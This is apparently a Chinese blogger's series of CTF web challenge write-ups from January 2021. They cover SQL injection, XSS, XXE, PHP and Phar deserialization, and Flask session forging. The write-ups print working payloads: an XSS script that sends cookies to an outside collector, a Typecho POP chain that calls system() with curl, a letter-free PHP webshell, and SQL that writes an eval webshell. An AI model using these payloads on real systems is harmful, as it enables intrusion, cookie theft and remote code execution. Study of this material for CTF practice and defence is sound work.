[MRCTF2020]Ezaudit
2021.1.4
考点
mt_rand 种子爆破
做题步骤
打开网页没什么可以点击的。
扫下目录
有个备份文件,还有个 login.php
得到 index.php 的源码
1 |
|
login.html
根据源码后面的部分
1 | // genarate public_key |
知道是根据 公钥求私钥,
且返现利用的是 mt_rand
函数。
这个是可以爆破得到种子的。
1 | str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' |
然后利用 php_mt_seed
爆破
1775196155 对应版本 5.2.1+的
然后我们就可以 自己求出 对应的 私钥了
1 |
|
我的 php 版本太高 于是利用 mamp的 5.2.1+ 版本php
KVQP0LdJKRaV3n9D
XuNhoueCDCGc
然后登陆后 会利用 password 进行sql 操作。
这里直接利用 万能密码绕过
用户名为 crispr
得到 flag
[CISCN2019 华东北赛区]Web2
2021.1.5
考点
Csp 绕过学习
sql注入
xss
做题步骤
注册登录,在投稿那,可以看到提示
管理员会查看,猜测可能有 xss
反馈也有可能存在 xss 漏洞
利用 Buu xss 在线网站的 xss代码
1 | (function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=nx7nVS&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();" |
因为有 CSP
https://xz.aliyun.com/t/5084?accounttraceid=acb79116f0a643b5bdeb7192158fb75apuoa
绕过是修改 Buu xss 网站代码的
(new Image()).src
换成window.location.href
这样实现绕过
由于过滤了括号,需要编写脚本转换成html markup,即&#加上ascii码。
1 | in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=nx7nVS&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();" |
然后在反馈处填写这个地址。
http://web.node.xxxxxxxxx
这样的地址
有个 hash 的,我们利用爆破
1 | import hashlib |
然后我们在外面的 xss.buuoj 接受到了。
修改网页的 PHPSESSID
然后发现网站有个 admin.php
进入后是根据 id 查找。猜测有 sql 注入
存在sql 注入
注入得到
0 union select 1,2,group_concat(table_name) from information_schema.tables#
得到 table 名字为 flag
0 union select 1,2,group_concat(column_name) from information_schema.columns#
得到 字段有个为 flagg
0 union select 1,2, flagg from flag#
得到flag
也可以用 sqlmap
sqlmap -u "http://a161e3e8-58fd-4923-89ff-425244167e1e.node3.buuoj.cn/admin.php?id=4" --cookie="PHPSESSID=5bf4adbeec52092e2d54102000761a11" -T flag --dump --flush-session --fresh-queries
[DDCTF 2019]homebrew event loop
2021.1.6
考点
逻辑漏洞
flasksession
做题步骤
访问 ip/d5afe1f66147e857/
得到 source code
1 | from flask import Flask, session, request, Response |
分析源码。
先看到 flag 余姚我们的
num_items >= 5
但是我们的points
初始为 3。正常情况num_items
只能小于等于3。得到 flag 的函数
get_flag_handler
flag 会被写入 session 里面,如果调用这个 函数,然后解密session 我们就能得到 flag。发现网页功能的调用,用到的函数为
execute_event_loop
里面有一个eval
函数,直接拼接我们传入的值,然后调用。1
2
3调用方法
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)源代码中
('_handler' if is_action else '_function')
可以在_function
后面加个#
从而绕过后缀 因为在布置 之前利用的get_mid_str
来获取对应的值所以我们得到 我们调用函数的传参方法为
?action:function_name#;action:xxx
然后需要知道的是 我们怎么才能让
num_items >= 5
,就要调用buy_handler
这个方法。这个方法有个参数 args 且
num_items
的值是根据传入参数来限定的。如果我们调用这个函数就能直接给num_items
赋值为很大。1
2
3
4
5
6
7def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])这里传入参数,
action:trigger_event%23;action:buy;5%23action:get_flag;
因为 方法的调用时从
request.event_queue
队列中找到的,如果我们单一调用action:buy;5#
这样只会执行 buy 5 然后接下来的consume_point_function
就会产生错误。所以我们要让程序在调用action:buy;5#
只会马上执行get_flag
因为consume_point_function
的调用时加入队列然后在execute_event_loop
中调用的,所以我们需要先构建action:buy;5#
只会马上执行get_flag
的队列 于是我们先调用trigger_event
函数够着队列。1
2
3
4
5
6
7
8
9?action:trigger_event#;action:buy;5#action:get_flag;
event_handler = eval(action + ('_handler' if is_action else '_function'))
# -> event_handler = eval('trigger_event#’ + '_handler')
# -> event_handler = eval('trigger_event#_handler')
# <- trigger_event
ret_val = event_handler(args)
# -> trigger_event(['action:buy;5', 'action:get_flag;'])
运行 ?action:trigger_event;action:buy;5#action:get_flag;
查看session 解密
[GKCTF2020]EZ三剑客-EzTypecho
2021.1.7-8
考点
EzTypecho 反序列化漏洞。
PHP_SESSION_UPLOAD_PROGRESS
添加 session 属性。
http://www.tomyxy.com/index.php/archives/3.html
漏洞利用点分析。
做题步骤
测试发现是 安装,
但是安装不了
直接搜看看有没有对应的漏洞
https://www.cnblogs.com/litlife/p/10798061.html
网页实现后知道只允许到 index.php
对了内容是 反序列化 收缩 index.php 的 反序列化函数 unserialize()
第一个函数点
第二个函数点
然后查看一下我们可能调用的魔法函数 __destruct()
__toString()
等
利用思路
install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db,其中获取适配器名称$adapterName时调用了魔术方法__toString==>Feed.php执行__toString()的时候在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用的get(),其中执行了_applyFilte==> Request.php中的_applyFilter()中使用了call_user_func(),该回调函数导致漏洞触发。
也可以利用 start
这里没有 验证session
代码分析。
因为 start
和 finish
的后续代码类似。
我们分析 finish
在这里 我们 先 利用 Typecho_Cookie
得到我们传入的 cookie 里面的 __typecho_config
进行base64 解密后在进行反序列化。
然后会将我们反序列化后的值带入 Typecho_Db类
的构造方法中。
我们查看构造方法。
在构造方法中,链接了 $adapterName
这里的字符串链接 会调用 __toString()
方法。
我们全局搜索 __toString()
魔法函数
利用点是 Feed.php
里面的 __toString()
魔法函数
其中有一个 获取对象属性
获取获得 screenName
如果数据没有这个属性会调用对应的 __get()
魔术方法。
全局找下这个 __get()
魔术方法
利用的是 Request.php
的 __get()
魔法函数
然后跟进去, 获取对应的数值。然后会返回 _applyFilter
函数的执行结果跟进。
这个函数的定义 会让 $filter
作为回调函数进行调用。如果我们可以控制就能够着对应的功能
所以我们从下往上一次布置。
我们传入的序列化入口。
是一个数组 让数组的
adapter=new Typecho_Feed
prefix="typecho_"
就行我们会利用
Typecho_Feed类
的__toString()
方法。且是调用$item['author']->screenName
这要让程序进入这个
else if
分支else if (self::RSS2 == $this->_type)
从而我们定义
Typcho_Feed类
中的属性$this->_type = $this::RSS2;
且属性
$item数组
要有link,title,date,content,author,category,
键值我们让让
author
键值对应后面会调用的__get()魔术方法的 Typecho_Request类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct()
{
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'content' => '1',
'link' => '1',
'date' => 1540996608,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}最后一步利用的是
Typecho_Request类
中的__get()
方法中的get()
方法里面的_applyFilter
这里最后调用。我们的
$_filter
和$_params
需要为 数组。且根据调用我们要找到的是screenName
所以这里我们要布置$_filter[0]= 调用方法
,$_params['screenName']=调用参数
1
2
3
4
5
6
7
8
9
10class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'curl XXXX';
$this->_filter[0] = 'system';
}
}这样我们的 pop 链就构造好了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct()
{
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'content' => '1',
'link' => '1',
'date' => 1540996608,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'curl XXXX';
$this->_filter[0] = 'system';
}
}
$depy= array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($depy));
[SWPU2019]Web4
2021.1.8
考点
PDO 场景 sql 注入
利用 16进制+mysql 预编译绕过。
做题步骤
开局登录框
程序只有登录功能,没有注册功能。
然后不知什么思路 扫目录也没什么东西
看了 wp 知道是利用的 sql 注入。
我们抓包测试一下
输入 admin admin 提示密码或用户名错误
然后添加 '
看看 出现报错
添加 ';
没有报错 也可以利用 #
来闭合
然后我们测试 admin'|select
测试 admin'|from
报错了
根据报错信息猜测 这个地方可能是被调用了
前面 select 没有报错,应该是被过滤了
利用 sql 字典测试
返回包 231 的全是被过滤了的 字符
然后我不会了
只知道 应该是可以 利用堆叠注入的。
看了wp 学到 利用 16进制+mysql 预编译进行绕过。
set @x=0xabcd;prepare s from @x;execute s;
利用这个方法来执行
测试。
使用的 pyload
1 | # - - coding: UTF-8 -- |
访问后下载
是对应的源码。
进行代码审计
有个 flag.php
可以利用 extract()
函数实现参数覆盖。且可以利用 include 实现文件包含
这里的 $listData
直接利用 $_REQUEST
得到
所以这里是可用的来修改 userIndex.php
里面的值
发现里面有一个 文件读取 可以读取 $img_file
的内容,我们只要在上面的 extract()
修改 $img_file=/../flag.php
这样我们就能得到 flag.php 内容的 base64 编码
审计后利用 ?r=User/Index&img_file=/../flag.php
包含 flag.php 从而我们的 保存为 base64
解密得到 flag
[ISITDTU 2019]EasyPHP
2021.1.9
考点
异或命令执行,
做题步骤
1 |
|
有两个 过滤
第一个 正则
1 | \x00- 0-9 匹配\x00到空格(\x20),0-9的数字 |
这里想到的是直接利用 ~ 取反
1 | 第二个 |
先看看能不能执行 phpinfo();
成功执行,看看有没有什么可用信息。
存在 disable_functions
然想利用 print_r(scandir('.'));
来列出当前的目录。
但是测试返现 是超出了长度限制的。
?_=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(%d1^%ff));
然后发现 ^
异或符号是没有被ban 的。
这里可以利用 ^
来够着对应的 payload
因为要够着 print_r(scandir('.'));
这里有个方法,利用多次异或,从而实现只用少数几个字符异或成为上面需要用到的字符串。
这样我们就能实现仅用 13个字符异或成为对应函数。
1 | list1 = 'acdinprst' |
1 | (print_r)((scandir)(.)); |
[GXYCTF2019]BabysqliV3.0
2021.1.13
考点
文件包含
Phar 反序列化
做题步骤
一个登录框
输入用户名为 123 密码 123
提示没有用户。
输入用户名 admin 密码 admin
提示密码错误
测试一下有没有sql注入
提示没有 测试 1’||’1’=’1 测试也提示没有有 user
可能是没有 注入点的。
因为 输入 用户名为 admin 时。会提示密码错误,我们跑下弱密码看看能不能成功。
爆破得到 密码为 password
登录后为一个文件上传点。
发现 url 里面的 参数为 file=
可能存在文件包含。
尝试伪协议读源码
?file=php://filter/read=convert.base64-encode/resource=
发现不行
读取 home.php 成功
Home.php
1 |
|
发现过滤了不能读 flag文件。传入要有 home
或则 upload
结尾
所以应该还有一个 Upload.php 我们也读一下
Upload.php
1 | <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
审计一下
里面有一个类 且这个类最后有一个 __destruct
里面会调用到 eval($this->cmd);
这里,我们可以布置危险函数。
且我这里存在一个文件包含,且有一个可以够着恶意代码的类,所以我们想到的应该是利用
phar 反序列化来构造payload。
要能调用 eval($this->cmd);
这里我们要让我们的 $token=$_session['user']
然后我们知道上传文件后。我们的 $_session['user']
会被作为文件名。且我们的文件上传后。会被打印文件路径和名字,文件的内容。
$this->Filename = $sandbox.$_SESSION['user'].$ext;
所以得到 $_session['user']
我们可以利用上传一个文件来获得
1 |
|
上传后 Phar 伪协议读取flag
[HarekazeCTF2019]Avatar Uploader 1
2021.1.13
考点
根据要求传入文件。
做题步骤
1 | $f = finfo_open(FILEINFO_MIME_TYPE); var_dump(finfo_file($f, "test.bin")); |
传入 test.bin
得到 flag
[BSidesCF 2019]SVGMagic
2021.1.13
考点
做题步骤
一个上传框。
上传一个 png 文件发现不行。
根据网站显示的英文猜测可能是 要构造一个 SVG 文件,然后上传。
1 |
|
尝试读取 flag
1 |
|
[GoogleCTF2019 Quals]Bnv
2021.1.15
考点
xxe
做题步骤
利用嵌套xxe 得到
查看 wp https://a16n.github.io/2020/11/10/GoogleCTF2019-Quals-Bnv/
https://www.yuque.com/u390550/hsy6gq/ksmfiw
https://www.youtube.com/watch?v=0fdpFQXWVu4
查看网页源码
有个 post.js 查看内容
1 | /* |
接收的 json 数据,可能存在 xxe 修改 Content-type: application/xml
然后发送 有报错,说明是能解析 xml的
这里传入的 json 是 message
所以我们利用 xml 的时候要声明这个 message
然后利用外带,得到 flag
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。
ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd
文件
它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体,如ISOmaso
payload
1 | <?xml version="1.0"?> |
讲 flag 外带出来 利用报错
[SUCTF 2018]GetShell
2021.1.15
考点
文件上传 无符号 木马
做题步骤
可以看到 一个 upload
会判断我们的输入是不是从第五个字符开始 字符是在 黑名单里面的。
对于这种。我们需要对能使用的字符串进行fuzz
于是生成 fuzz 字典
1 | import string |
可以使用的是 $()[]-~
且能使用中文字符。
因为这里 不能存在 % 所以刚开始想到的 直接 urlencode(~(phpinfo))
就不能被使用。
然后我们发现可以利用 中文字符。
我们要上传文件,所以这里我们要构造一个合适的 一句话木马文件。
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
因为可以利用中文,所以这里用上述的,方法二
payload
1 | $_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]); |
查看flag
不是flag
flag 在 环境变量里面
[HFCTF2020]BabyUpload
2021.1.15
考点
做题步骤
打开后看到,源代码
1 |
|
代码审计
刚开始 设置了对应 session 保存的位置 /var/babyctf
1 | session_save_path("/var/babyctf/"); |
然后根据session 中的 session['username']
字段来判断进行的操作。
1 | if($_SESSION['username'] ==='admin') |
如果 session['username']==='admin'
然后会判断是否存在 /var/babyctf/success.txt
如果存在就会输出flag。
如果不为 admin
那么就 session['username']='guest'
然后接受我们的 post 值。并根据输入的值进行不同调用
1 | $direction = filter_input(INPUT_POST, 'direction'); |
然后更具 $direction
来进行不同操作。
1 | if($direction === "upload"){ |
upload
中上传文件在
/var/babyctf/(session['username'])
文件名为,文件自己名字+ ‘_’ +sha256(文件名)
然后限制了 目录穿透,创建对应目录
上传文件。
download
中根据 post 传入的
filename
且防止目录穿透。根据
filename
找到对应文件。 存在就能返回对应的内容。
这里我们需要的是
session['username']==='admin'
- 存在文件
/var/babyctf/success.txt
因为我们可以下载和上传文件。且@mkdir($dir_path, 0700, TRUE);
会创建文件
且我们可以修改我们的 PHPSESSION 。
我们也可以上传我们的 SESSION 文件。
利用 download
查看一下 我们的 session 文件保存的内容是什么
因为我们知道他的拼接规则,所以我们可以自己伪造一个 session 文件。
1 |
|
于是我们要自己上传一个 文件,因为没有文件上传的点,这里我们可以自己写 一个 form 表单来实现上传。
1 | <html> |
利用这个方法来上传对应的 session 文件。
双穿的 内容里面是有一个 %08 的
因为会创建目录。
所以我们在传一次
然后修改我们的 PHPSESSION 为对应值
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
[2020 新春红包题]1
2021.1.15
考点
反序列化。
利用 php 伪协议绕过一句话的拼接。
做题步骤
打开网页什么都没有
根据提示传入 参数 src
得到 源代码
1 |
|
根据源代码分析,应该是一个 反序列化题目
根据题目,我们先找到魔法函数等。
发现在 class A
中有对应的
__destruct()
-> $this->save()
-> $this->store->set
(store 为 class B时) 这样能够调用到 -> class B.set()
-> file_put_contents($filename,$data);
如果要得到flag。所以这里我们的利用链应该是这样的
代码分析
在 class A
中,的 array_flip()
函数根据内容生成对应键值的数组
然后调用 array_intersect_key()
从而限定了我们的键值,只有
'path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type'
然后返回对应的数组。
返回后的数组利用 json_ecode()
函数处理。
然后作为 class B
的set 方法的第二个参数传入。
根据 set传入的 第一个参数, 要求后缀不是 .php
然后根据我们的输入 返回目录。如果不存在就会创建。
然后根据我们的 class B
的 options['serialize']
来调用函数。
说明这里的 options['serialize']
是我们可以控制成其他的函数。如果被我们赋值为 system
这样能实现调用吗?
接着后面会调用 另一个利用点。
这里会讲我们的 $data
利用 sprintf 来构造 新的$data
然后调用 file_put_contents()
这个函数不但可以写,还可以调用来写文件,也可以调用 php 伪协议
这里我们利用 赋值 $this->options['serialize']='system'
来直接调用。
刚开始直接 ls 返现没有回显,于是只能写入到 ./uploads/
中的文件中
1 |
|
从而我们就可以查看 flag了
然后查看 /flag
1 |
|
看了 wp 还有一种利用方法,利用 file_put_contents()
利用伪协议来写一句话
这里因为 会在我们的最后 $data
后面加上 exit();
所以正常写入是不行的,这里我们可以利用 php伪协议的 php://filter/write=convert.base64-decode/resource=
这样来写
这样我们的 写入 进行base64 阶码,如果我们原本传入的数据是 base64 加密的解密后就是正确的 一句话木马,$data
中拼接的 exit()
就会被改变成 乱码从而不会被调用。
绕过 php 后缀只需需要用 /. 来绕过。
这样我们的 一句话就被写入了,从而我们就能利用了。
[网鼎杯 2020 青龙组]filejava
2021.1.16
考点
java 文件目录结构。
Xxe 漏洞。
xxe 无回显数据外带
做题步骤
查看源码。发现 action 为 ./UploadServlet
应该这是一个 java 题目,
然后我们随便上传一个东西。
上传成功后 是一个文件下载。 抓包看看
发现是根据 filename 来获得 对应我们上传的文件的。
我们看看有没有目录穿透。
从而确定这是一个 java 题目,这里我们首先看看能不能读到我们需要的
Web.xml 文件
../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
发现是可以 读取的。
且里面 有 3个 Servlet
所以我们是能得到 对应的 路径
也能下载,这样我们就能进行代码审计了。
classes/cn/abc/servlet/
从而下载这三个 class
使用 IDEA 进行分析。
首先看看 目录穿透的下载的地方
这里限制了文件名字不能有 flag 所以我们不能直接下载 flag 文件。
然后就是正常的 找到文件,根据 _
切割文件名,然后发送给客户端。
然后去看 UploadServlet
在里面返现一个 判断我们上传文件是否为 excel-
开头的 xlsx
文件判断
利用的 poi-ppxml-3.10
百度下
找到对应的 cve 讲解。
要引用本地的 dtd
所以我们在外面的服务器里面 构造一个 dtd文件。
引用我服务器上的 dtd 文件。
然后利用 xxe 的文件数据外带。
https://blog.csdn.net/per_se_veran_ce/article/details/105035963
构造我们的 1.dtd
然后我们上传对应的 xlsx 文件。
监听端口 得到flag
[CSAWQual 2019]Web_Unagi
2021.1.16
考点
Xxe
做题步骤
打开网页看看有没有什么必要信息。
这里的有用消息是,我们可以知道这里是让我们上传一个 xml 文件,这样我们就知道这个应该是一个 xxe 文件读取。
然后flag 的位置是在 /flag 下。
创建一个 xml 文件,
1 |
|
[XNUCA2019Qualifier]EasyPHP
2021.1.16
考点
做题步骤
打开网站得到 源码
1 |
|
遍历目录删除 不是 index.php
的文件。
然后包含了 fl3g.php
文件
然后读入 content
和 filename
且 content 里面不能有 on,html,type,flag,upload,file
等字符。
Filename 只能是 a-z和单引号
然后再次 删除 除了 index.php
以外的文件
不是很明白这道题
思路为 写入 .htaccess
文件。利用这个方法,来将我们的一句话写入 index.php 中
从而我们能能够命令执行。
https://my.oschina.net/u/4350311/blog/3311515
https://guokeya.github.io/post/xnuca2019qualifiereasyphphtaccess-li-yong/
利用 content 末尾 + # \
来绕过 末尾加 "\nJust one chance"
[Black Watch 入群题]Web
2021.1.17
考点
sql 注入
做题步骤
直接盲注得到 username 和 password
1 | import requests |
[EIS 2019]EzPOP
2021.1.17
考点
PHP反序列
做题步骤
直接给了源码
1 |
|
类似于 [2020 新春红包题]1
比那道题简单,这里可以写 php 文件。所以我们可以直接用。
利用 php://filter/write=convert.base64-decode/resource
来写,
这样就能让最后的 \n exit()
被转义
1 |
|
[CISCN2019 总决赛 Day1 Web4]Laravel1 (记得要写复现内容)
2021.1.17
考点
反序列化
做题步骤
可以先下载对应的 备份文件。
网页代码是一个 反序列化地方。
可能这个就是我们要利用的点
1 |
|
这里直接收缩 对应框架漏洞 可以找到一个 反序列化利用点
https://www.anquanke.com/post/id/189718
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
直接打。
1 |
|
[GWCTF 2019]mypassword
2021.1.18
考点
做题步骤
测试功能
注册登录,都可以。
admin 账号已经存在,不知道密码 所以猜测可能知道密码就能得到 flag。
随便创建一个 用户名 密码都为 123的账号。
进入后提示要看源码。且没有sql注入。
在 feedback.php
中看到了一些注释。
1 | if(is_array($feedback)){ |
讲里面的内容 进行替换,替换为空可以实现绕过。可以利用类似双写绕过。
这里有一个提示,是提意见,猜测这里是有管理员后台点击,可能存在 xss
写入内容
<scrcookieipt>alert(123)</scrcookieipt>
然后在 list 里面查看内容,实现 xss。
但是要怎么才能得到 admin 账户的密码呢?
我们只能从 登录的时候入手。
登录的时候调用了 一个js
查看里面的内容
将我们的 psw 的 user 信息都存入了表单。
来就收 xss 传入内容。
http://http.requestbin.buuoj.cn/
1 | <incookieput type="text" name="username"> |
得到 flag
[NPUCTF2020]ezlogin
2021.1.19
考点
Xpath 注入
伪协议文件包含
大小写绕过
做题步骤
发现登陆会出现超时,查看源码看到一个 /static/main.js
1 | var current = null; |
成功会跳转到admin.php
登录的 session
一段时间就换,所以抓包做很麻烦。
抓登录包发现 这里上传的内容是 xml 格式。
刚开始想了 一个 利用 sql注入试试,但是发现应该不是 sql 注入。
是 xpath 注入。
https://www.cnblogs.com/backlion/p/8554749.html
利用语句测试
']|//*|//*['
所以应该是能够注入的,但是没有回显,这里只能利用到 xpath 盲注。
然后判断一下是不是 布尔
测试语句 'or count(/)=1 or ''='
判断应该是 布尔型的
然后写脚本 进行盲注
根据抓包信息来写
1 | POST /login.php HTTP/1.1 |
exp
1 | import re |
成功登陆页面
查看源码。发现有个 base64 加密
然后看 Url 猜测可能存在文件包含。
用伪协议读一下 需要大小写绕过。
?file=Php://filter/reAd=convert.Base64-encode/resource=/flag
[安洵杯 2019]iamthinking
2021.1.19
考点
php 反序列化。
做题步骤
打开网页 就一个图片
扫下目录
发现有个 www.zip
发现是 tp 的框架。版本为 ThinkPHP 6.0
https://www.anquanke.com/post/id/187393#h3-3
找到 关键地方
因为有个 parse_url
所以我们要绕过 利用 \\\public\
有个 poc 生成工具
https://github.com/wh1t3p1g/phpggc
分析
https://g.yuque.com/u390550/hsy6gq/cur5rv?language=en-us
[SUCTF 2018]annonymous
2021.1.20
考点
匿名函数格式 %00lambda_数字
做题步骤
打开有源码
1 |
|
这里是创建了一个匿名函数,匿名函数也是有格式的。
\x00lambda_x
x 为随机数。
这里可以利用 burp 爆破
[V&N2020 公开赛]TimeTravel
2021.1.20
考点
做题步骤
得到源码
1 |
|
当我们传入 flag
会去请求 127.0.0.1:5000/api/eligible
如果返回的 $data['success']
=== ‘true’
就能得到 flag
这里我们要做到就是在外面本地 创建一个这样的功能。然后调用 get
的时候能接收到返回。
方法1 利用 flask 够着路由返回赵师傅的方法
https://www.zhaoj.in/read-6407.html
1 | from flask import Flask |
方法2 构造对应的返回包。
1 | HTTP/1.1 200 OK |
用另一个号在 buu 开一个 内网服务。
Linux labs
先开始 frp
启动
然后用 ssh 链接
ssh root@网站 -p 端口
查看我们的对应的 内网 ip
然后写下这个 返回包
让利用 nc
nc -lvvp 2333 < 1.txt
然后给一个代理。 代理ip 为 内网 ip 端口为 我们传的 数据的端口。
[SUCTF 2018]MultiSQL
2021.1.21
考点
Sql 注入
做题步骤
登录后 用户信息是通过id 判断的
测试看看有没 注入点
利用 1^1^1
利用 1^1
说明是存在 sql 注入的
测试头像上传没有漏洞 图片会被修改名字。但是我们知道了有个 /favicon
目录
说明这里的漏洞点就在 用户信息这里。
一个对应的 sql 注入。
发现很多都被过滤了。
测试下发现也能用堆叠
直接写 shell 可以连接
但是这里我们要用 char 将字符转成 ascii
select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
然后直接连接
得到 flag
[CISCN2019 华东南赛区]Web4
2021.1.22
考点
做题步骤
点击后跳转
猜测可能有是代码执行。
看看能不能直接找flag 不能获取。
然后想到的是 看看能不能看到 /etc/passwd
的内容
可以读取,且发现我们最后有个路径为 /app
应该是一个 python flask 的
读取 app.py的内容 发现有回显
1 | # encoding:utf-8 |
发现里面有 一个 路由是 /flag
我们的内容是蒲培到 flag 就不行。
查看发现 要让我们的 session['username'] == 'fuck'
这里我们想到的就是利用伪造
伪造session 需要对应的 key
上面的内容生成对应的 key
session 解密内容
看看是怎么生成的对应的 uuid.getnode()
那我们就要想办法得到靶机的 mac 地址
我们查看 /sys/class/net/eth0/address
文件
然后我们要利用这个来 得到 对应的种子
然后加密得到 新的 session
替换session 访问 /flag 目录